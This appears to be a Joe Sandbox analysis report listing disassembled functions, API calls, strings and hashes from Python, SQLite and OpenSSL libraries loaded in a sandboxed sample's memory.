Opcode ID: 7dfb27dda8ee3e5936f13da763b518658332790f21aaabb7b7664e4d5968555c
Instruction ID: 8fda49b1b9c09779b35969f46813e03ffc5810d77e8f149fb683f68eb8959fe3
Opcode Fuzzy Hash: 7dfb27dda8ee3e5936f13da763b518658332790f21aaabb7b7664e4d5968555c
Instruction Fuzzy Hash: F331A022A0D64682FB10AB96F4512BDA391FF85784F844031EE8D4BBBAEE3CE5418741

Function 00007FFE013026F0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 61COMMON

Download Yara Rule

APIs

PyModule_AddStringConstant.PYTHON313 ref: 00007FFE0130270B
PyType_FromSpec.PYTHON313 ref: 00007FFE01302720
PyModule_AddType.PYTHON313 ref: 00007FFE01302734
_Py_Dealloc.PYTHON313 ref: 00007FFE01304220

Part of subcall function 00007FFE013027C0: _PyObject_GC_New.PYTHON313(?,?,00000000,00007FFE0130274F), ref: 00007FFE013027C6
Part of subcall function 00007FFE013027C0: PyObject_GC_Track.PYTHON313(?,?,00000000,00007FFE0130274F), ref: 00007FFE013027F8

PyModule_Add.PYTHON313 ref: 00007FFE0130276E
PyModule_Add.PYTHON313 ref: 00007FFE0130278F
_Py_Dealloc.PYTHON313 ref: 00007FFE0130422F

Strings

_ucnhash_CAPI, xrefs: 00007FFE01302785
ucd_3_2_0, xrefs: 00007FFE01302764
unidata_version, xrefs: 00007FFE01302704
15.1.0, xrefs: 00007FFE013026FA

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Module_$DeallocObject_$ConstantFromSpecStringTrackTypeType_
String ID: 15.1.0$_ucnhash_CAPI$ucd_3_2_0$unidata_version
API String ID: 1134076213-2982225328
Opcode ID: 8afc514a58662c608f6159bfe6782b51e6e0053e826c89357b0d76cfa910b95c
Instruction ID: a9a6c4c164239d82a6d5b682599f24a4f602481d2a590d837b3ae81c57c5f573
Opcode Fuzzy Hash: 8afc514a58662c608f6159bfe6782b51e6e0053e826c89357b0d76cfa910b95c
Instruction Fuzzy Hash: 51216F61A0C60281EB0A4BB1E97927A23E4AF49F95F46403DD90D4E7BBDF2DE115C300

Function 00007FFDFF20D610 Relevance: 16.9, APIs: 2, Strings: 9, Instructions: 386COMMON

Download Yara Rule

Strings

lib, xrefs: 00007FFDFF20D861
sqlite3_extension_init, xrefs: 00007FFDFF20D69A
_init, xrefs: 00007FFDFF20D90E
unable to open shared library [%.*s], xrefs: 00007FFDFF20DC1F
no entry point [%s] in shared library [%s], xrefs: 00007FFDFF20DAAC
%s.%s, xrefs: 00007FFDFF20D6DC
sqlite3_, xrefs: 00007FFDFF20D813
error during initialization: %s, xrefs: 00007FFDFF20D9D6
not authorized, xrefs: 00007FFDFF20D683

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID:
String ID: %s.%s$_init$error during initialization: %s$lib$no entry point [%s] in shared library [%s]$not authorized$sqlite3_$sqlite3_extension_init$unable to open shared library [%.*s]
API String ID: 0-3733955532
Opcode ID: 22c81239b5efe17051c023dfd83108cd626e8b6364dea9deb2d563374f8e559f
Instruction ID: 24f51f59b01869641b7fe48631b1a157b60e83e5319372525ee883d0f08b3998
Opcode Fuzzy Hash: 22c81239b5efe17051c023dfd83108cd626e8b6364dea9deb2d563374f8e559f
Instruction Fuzzy Hash: 84029126B0AA8285EB158F11A474BB967A0FF45B81F884235DD7EC67D9EF3CE845C300

Function 00007FFE013D8150 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013D8180
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013D8198
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013D81AA

Strings

..\s\ssl\ssl_lib.c, xrefs: 00007FFE013D8191, 00007FFE013D825E
ssl_read_internal, xrefs: 00007FFE013D8185, 00007FFE013D8252

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ..\s\ssl\ssl_lib.c$ssl_read_internal
API String ID: 1552677711-1892056158
Opcode ID: 1d1c3011cee07d316ca8084546e9506019f39c3765b74eccc4fa9aef4332d95d
Instruction ID: aefc2a77c4f948605a193c2e2f98321e504ee3bc1d8cd4492c818f4cf6825a4b
Opcode Fuzzy Hash: 1d1c3011cee07d316ca8084546e9506019f39c3765b74eccc4fa9aef4332d95d
Instruction Fuzzy Hash: 68316131A0CB8282E750DBA5F8412AD7261FB95B94F980135EA8D4FBB5CF3CE491C750

Function 00007FFE0130492C Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 62COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON313 ref: 00007FFE0130496B
_PyArg_BadArgument.PYTHON313 ref: 00007FFE013049A4
_PyUnicode_ToDigit.PYTHON313 ref: 00007FFE013049C4
PyErr_SetString.PYTHON313 ref: 00007FFE013049E4
PyLong_FromLong.PYTHON313 ref: 00007FFE013049FC

Strings

argument 1, xrefs: 00007FFE0130499D
digit, xrefs: 00007FFE0130495B, 00007FFE01304996
a unicode character, xrefs: 00007FFE0130498F
not a digit, xrefs: 00007FFE013049DA

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Arg_$ArgumentCheckDigitErr_FromLongLong_PositionalStringUnicode_
String ID: a unicode character$argument 1$digit$not a digit
API String ID: 4245020737-4278345224
Opcode ID: e13b3df58773a98c1103435cac1204b160a8dd3e0be1e2068f723629e12376dc
Instruction ID: c85c26c1033230810fbc6faa31011289cf1b0393126f6febd6cf76b5d24c0bf4
Opcode Fuzzy Hash: e13b3df58773a98c1103435cac1204b160a8dd3e0be1e2068f723629e12376dc
Instruction Fuzzy Hash: 25218C31F08A4281EB52CF96D4A127923E4FB84B84F06403ADA4E8B779DF3DE695C300

Function 00007FFE013B1956 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FFE014204CE
ERR_new.LIBCRYPTO-3 ref: 00007FFE014204DF
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE014204F7
EVP_MD_CTX_copy_ex.LIBCRYPTO-3 ref: 00007FFE01420524
ERR_new.LIBCRYPTO-3 ref: 00007FFE0142052D
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01420545
EVP_MD_CTX_free.LIBCRYPTO-3 ref: 00007FFE01420567

Strings

..\s\ssl\statem\statem_lib.c, xrefs: 00007FFE014204F0, 00007FFE0142053E
tls13_save_handshake_digest_for_pha, xrefs: 00007FFE014204E4, 00007FFE01420532

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug$X_copy_exX_freeX_new
String ID: ..\s\ssl\statem\statem_lib.c$tls13_save_handshake_digest_for_pha
API String ID: 401794203-262298153
Opcode ID: 412538726b70e8aeea752b51d591ae0eec0ce614aada8c58043d0c8b522c0924
Instruction ID: 6c0ac76f1c055ad2f9facffe1f9064a7c451666d4fa3a9db450aa3c661a1ff38
Opcode Fuzzy Hash: 412538726b70e8aeea752b51d591ae0eec0ce614aada8c58043d0c8b522c0924
Instruction Fuzzy Hash: F211E951F1964282FB50B7A1E8617FE1281EFA4748F884034EA4D4F6F6EF2CA5C18751

Function 00007FFE013B11EF Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013CCC3B
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013CCC53
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013CCC65
ERR_new.LIBCRYPTO-3 ref: 00007FFE013CCC97
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013CCCAF
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013CCCC1

Strings

..\s\ssl\ssl_lib.c, xrefs: 00007FFE013CCC4C, 00007FFE013CCCA8
SSL_CTX_enable_ct, xrefs: 00007FFE013CCC40
SSL_CTX_set_ct_validation_callback, xrefs: 00007FFE013CCC9C

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ..\s\ssl\ssl_lib.c$SSL_CTX_enable_ct$SSL_CTX_set_ct_validation_callback
API String ID: 1552677711-3272436952
Opcode ID: 78e2257baf700adbd38549e4bf79a381f03b0b8f51c99a11d455d46dc1606f33
Instruction ID: 2507600630ee88ed48e8c7e1d378eeb3beb70d07c6a591a68a77a8253e253cd1
Opcode Fuzzy Hash: 78e2257baf700adbd38549e4bf79a381f03b0b8f51c99a11d455d46dc1606f33
Instruction Fuzzy Hash: 17115A71F1965353FB90A7A0E8513F911A1FF94300FD55035E90C8EAF2EE2DE9929312

Function 00007FFDFF1CB0C0 Relevance: 15.3, APIs: 2, Strings: 8, Instructions: 330COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFDFF1CB1C3
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFDFF1CB2A4

Strings

%lld, xrefs: 00007FFDFF1CB361
'%.*q', xrefs: 00007FFDFF1CB415
%!.15g, xrefs: 00007FFDFF1CB37E
NULL, xrefs: 00007FFDFF1CB32D
-- , xrefs: 00007FFDFF1CB153, 00007FFDFF1CB172
?, xrefs: 00007FFDFF1CB2B8
%02x, xrefs: 00007FFDFF1CB4C4
zeroblob(%d), xrefs: 00007FFDFF1CB460

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: %!.15g$%02x$%lld$'%.*q'$-- $?$NULL$zeroblob(%d)
API String ID: 3510742995-875588658
Opcode ID: fc926f6c23b364fd536d56d52f688f60566bd34e17a57fdb468e5e7f2f182e02
Instruction ID: 1b89135942e8ed082a3ccb8eb159b5648954dc294316a94c36a6dcf8666b8146
Opcode Fuzzy Hash: fc926f6c23b364fd536d56d52f688f60566bd34e17a57fdb468e5e7f2f182e02
Instruction Fuzzy Hash: 9EE15D63F0856689FB31CF64D460BFD27A2AB14758F444235DA3EA2AE9DF3CA445C740

Function 00007FFDFF1E7760 Relevance: 15.3, APIs: 1, Strings: 9, Instructions: 327COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1E7AD2

Strings

Cannot add a PRIMARY KEY column, xrefs: 00007FFDFF1E7881
Cannot add a column with non-constant default, xrefs: 00007FFDFF1E7969
cannot add a STORED column, xrefs: 00007FFDFF1E7A72
SELECT raise(ABORT,%Q) FROM "%w"."%w", xrefs: 00007FFDFF1E78F7, 00007FFDFF1E7973, 00007FFDFF1E7A81
UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q, xrefs: 00007FFDFF1E7B14
Cannot add a REFERENCES column with non-NULL default value, xrefs: 00007FFDFF1E78ED
Cannot add a UNIQUE column, xrefs: 00007FFDFF1E789C
SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE, xrefs: 00007FFDFF1E7C5C
Cannot add a NOT NULL column with default value NULL, xrefs: 00007FFDFF1E790F

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: Cannot add a NOT NULL column with default value NULL$Cannot add a PRIMARY KEY column$Cannot add a REFERENCES column with non-NULL default value$Cannot add a UNIQUE column$Cannot add a column with non-constant default$SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE$SELECT raise(ABORT,%Q) FROM "%w"."%w"$UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q$cannot add a STORED column
API String ID: 3510742995-200680935
Opcode ID: 5ee6c88ac9d064892215fa9e5ca28dee9da2213114d6f2d477f9ef9ab2621481
Instruction ID: ed5c833d51dca7d481017670802cbcb86bb64d482f01af90c940c500bc1e2a4d
Opcode Fuzzy Hash: 5ee6c88ac9d064892215fa9e5ca28dee9da2213114d6f2d477f9ef9ab2621481
Instruction Fuzzy Hash: ABE16832F09A8285FB258B16E564BB967A5EB84B84F084235CEBD477D9DF3CE459C300

Function 00007FFE01302940 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFE01302968
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFE013029BA
_RTC_Initialize.LIBCMT ref: 00007FFE013029E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFE01302A0E
__scrt_release_startup_lock.LIBCMT ref: 00007FFE01302A39

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 70d49f94bf07e0e16836489e003d3218299badc9548ca84428ba8617642733d4
Instruction ID: fda7baf7f395df28c8bd02db688a066f034749aa8ae01ea8f2813600dd4f3cc1
Opcode Fuzzy Hash: 70d49f94bf07e0e16836489e003d3218299badc9548ca84428ba8617642733d4
Instruction Fuzzy Hash: 1381B461E0C64386FB669BE5946927B66D0BF45780F56813DEA0C4F7B6DF3CE8458300

Function 00007FFE013B19B5 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE014001B0
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE014001C8
ERR_new.LIBCRYPTO-3 ref: 00007FFE014002FD
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01400315
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140035B
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01400373

Strings

tls_construct_extensions, xrefs: 00007FFE014001B5, 00007FFE01400302, 00007FFE01400360
..\s\ssl\statem\extensions.c, xrefs: 00007FFE014001C1, 00007FFE0140030E, 00007FFE0140036C

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\extensions.c$tls_construct_extensions
API String ID: 193678381-3223585116
Opcode ID: 992176a5b5607ad23ec96c98088b2225bfd6718f6d21463046d42dc7daaa6d09
Instruction ID: 3771f6e0bdfe361da5dcfe7b390f079a2444b703b0b5e0d9192ee25370eb7d57
Opcode Fuzzy Hash: 992176a5b5607ad23ec96c98088b2225bfd6718f6d21463046d42dc7daaa6d09
Instruction Fuzzy Hash: E3516E21B1868286F761ABA6E8507BA6390BB847C4F584039EE4D5B7F5DF3CE945C700

Function 00007FFDFF1A0A30 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 135COMMON

Download Yara Rule

APIs

new[].MSPDB140-MSVCRT ref: 00007FFDFF1A0B47

Strings

winFullPathname1, xrefs: 00007FFDFF1A0B2C
:, xrefs: 00007FFDFF1A0A61
winFullPathname2, xrefs: 00007FFDFF1A0BB5
%s%c%s, xrefs: 00007FFDFF1A0AA6
?, xrefs: 00007FFDFF1A0A71
:, xrefs: 00007FFDFF1A0A9C
\, xrefs: 00007FFDFF1A0AB8

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: new[]
String ID: %s%c%s$:$:$?$\$winFullPathname1$winFullPathname2
API String ID: 4059295235-3840279414
Opcode ID: 7514e8fd5d93be79fc71e0024bcf4f49aeb845a9e117b097cb897556365a7ddf
Instruction ID: ed1873aa92cd06b1ca4ab8d7d49d299cae24edf6576510050c57d1a8a5c14cb5
Opcode Fuzzy Hash: 7514e8fd5d93be79fc71e0024bcf4f49aeb845a9e117b097cb897556365a7ddf
Instruction Fuzzy Hash: A2518F13F0C68385FB259F616421EBA6B91AF44B88F484236D97E8B7DEDF3CE5458240

Function 00007FFE013B21EE Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 110COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE01420CD4
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01420CEC
ERR_new.LIBCRYPTO-3 ref: 00007FFE01420D67
memcpy.VCRUNTIME140 ref: 00007FFE01420D94
memcpy.VCRUNTIME140 ref: 00007FFE01420DB1

Strings

tls_construct_finished, xrefs: 00007FFE01420CD9, 00007FFE01420D6C
..\s\ssl\statem\statem_lib.c, xrefs: 00007FFE01420CE5
CLIENT_RANDOM, xrefs: 00007FFE01420D46

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newmemcpy$R_set_debug
String ID: ..\s\ssl\statem\statem_lib.c$CLIENT_RANDOM$tls_construct_finished
API String ID: 3909032045-3711601257
Opcode ID: 63671d9e7c68ca0ff9097a2afe93ddb4f7b6073ec38e182b5f3af550d5088dab
Instruction ID: 108e609f130f326ef121e4f033cd881fe4f485751ec28b18dde9764d887bec49
Opcode Fuzzy Hash: 63671d9e7c68ca0ff9097a2afe93ddb4f7b6073ec38e182b5f3af550d5088dab
Instruction Fuzzy Hash: BD516D72A1978286E7909B66D4507AD23A4EB64B88F940036EE4D4F7B5EF3DE4C1C342

Function 00007FFE0141E230 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FFE01420755), ref: 00007FFE0141E33B
BIO_ctrl.LIBCRYPTO-3(?,?,?,?,?,?,?,00007FFE01420755), ref: 00007FFE0141E362
ERR_new.LIBCRYPTO-3(?,?,?,?,?,?,?,00007FFE01420755), ref: 00007FFE0141E36B
ERR_set_debug.LIBCRYPTO-3(?,?,?,?,?,?,?,00007FFE01420755), ref: 00007FFE0141E383

Strings

get_cert_verify_tbs_data, xrefs: 00007FFE0141E370
TLS 1.3, client CertificateVerify, xrefs: 00007FFE0141E2A9
TLS 1.3, server CertificateVerify, xrefs: 00007FFE0141E2D1
..\s\ssl\statem\statem_lib.c, xrefs: 00007FFE0141E37C

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_ctrlR_newR_set_debugmemcpy
String ID: ..\s\ssl\statem\statem_lib.c$TLS 1.3, client CertificateVerify$TLS 1.3, server CertificateVerify$get_cert_verify_tbs_data
API String ID: 152836652-3760622993
